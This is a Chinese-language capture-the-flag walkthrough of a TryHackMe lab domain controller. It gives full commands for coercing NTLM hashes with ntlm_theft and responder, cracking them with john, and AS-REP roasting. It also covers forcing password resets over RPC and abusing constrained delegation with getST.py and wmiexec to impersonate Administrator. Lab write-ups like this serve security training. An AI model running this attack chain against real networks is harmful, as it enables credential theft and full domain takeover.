THM-Reset
靶机ip:10.10.219.65
信息收集
nmap扫描
1 | nmap --min-rate 10000 -A -sV -sC -p- 10.10.219.65 |
1 | Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-25 13:49 CST |
可以看出这是一台域控,并且域名是HayStack.thm.corp
,将这个和 thm.corp
添加到/etc/hosts
SMB
1 | smbclient -L //10.10.219.65 |
尝试连接Data
目录
1 | smbclient //10.10.219.65/Data |
发现每次操作文件名都会变化,先将文件下载到本地查看
找到初始密码ResetMe123!
在另一个pdf文件中发现一组用户名密码LILY ONEILL:ResetMe123!
rpc
rpcclient -U "" 10.10.219.65
并没有什么信息
获取user.txt
在之前进行smb探测的时候发现目录会随着每次访问,在一定时间后就会改变文件名,说明不止我们一个人在访问这个目录,所以我们可以使用工具尝试在smb中捕获另一个人的hash
使用ntlm_theft工具创建恶意文件
1 | python3 ntlm_theft.py -g url -s 10.14.90.122 -f aaa |
在攻击机上监听
1 | sudo responder -I tun0 |
将生成的文件传到靶机上
在监听处我们就捕获到了一组hash
将其保存到hash
文件,用于破解
使用john
工具破解
1 | john hash --wordlist=/usr/share/wordlists/rockyou.txt |
成功获取AUTOMATE
的密码Passw0rd1
尝试登录
evil-winrm -i 10.10.219.65 -u AUTOMATE -p Passw0rd1
在Desktop
找到user.txt
横向移动
AS-REP Roasting
使用bloodhound-pytohn
信息收集
1 | bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u automate -p Passw0rd1 -c All --zip |
将收集的信息使用Bloodhound
分析
发现有三个能够AS-REP
攻击的用户
ERNESTO_SILVA@THM.CORP
TABATHA_BRITT@THM.CORP
LEANN_LONG@THM.CORP
将用户名保存到users
文件
使用GetNPUsers.py
请求用户的TGT
1 | GetNPUsers.py thm.corp/ -usersfile users -dc-ip 10.10.219.65 |
分别使用john
爆破
最终发现只有TABATHA_BRITT
用户成功爆破,密码是marlboro(1985)
再对该用户进行信息搜集
1 | bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u TABATHA_BRITT -p 'marlboro(1985)' -c All --zip |
将收集的信息使用Bloodhound
分析
找到利用链,我们想要到达DARLA_WINTERS
,就是从TABATHA_BRITT
到SHAWMA_BRAY
的GenericAll
,利用ForceChangePassword
从SHAWMA_BRAY
到CRUZZ_HALL
,最后利用GenericWrite
从CRUZ_HALL
到DARLA_WINTERS
我们发现可以通过RPC
利用GenericAll
更改用户的密码,对于ForceChangePassword
和GenericWrite
同样可以适用
我们使用TABATHA_BRITT
用户来操作
1 | net rpc password "SHAWNA_BRAY" "Aa123456!" -U "thm.corp"/"TABATHA_BRITT"%"marlboro(1985)" -S "10.10.219.65" |
使用crackmapexec
验证一下
1 | crackmapexec smb 10.10.219.65 -u DARLA_WINTERS -p 'Aa123456!' |
修改成功!再对DARLA_WINTERS
信息收集
1 | bloodhound-python -ns 10.10.219.65 --dns-tcp -d THM.CORP -u 'DARLA_WINTERS' -p 'Aa123456!' -c All --zip |
发现DARLA_WINTERS
用户可以通过CIFS
服务进行委派攻击,我们就可以模拟域控上CIFS
服务的管理员
委派攻击
Impacket
的getST
脚本将请求服务的Ticket
并将其保存为 ccache
。如果帐户具有受限的委派权限,可以使用 -impersonate
标志代表其他用户请求票证。
使用 impacket
的getST.py
获取票据
在请求票据之前,我们先输入下面这个命令。这个命令可以从指定的 NTP 服务器上获取准确的时间,并将系统时间调整到与之同步。
1 | ntpdate -s haystack.thm.corp |
然后再开始获取票据
1 | getST.py -spn "cifs/haystack.thm.corp" -dc-ip 10.10.219.65 -impersonate "Administrator" "thm.corp/DARLA_WINTERS:Aa123456!" |
使用KRB5CCNAME
环境变量设置 ccache
1 | export KRB5CCNAME=Administrator@cifs_haystack.thm.corp@THM.CORP.ccache |
再使用wmiexec.py
登录Administrator
1 | wmiexec.py -k -no-pass Administrator@haystack.thm.corp |
成功获得Administrator
的权限
在Desktop
找到root.txt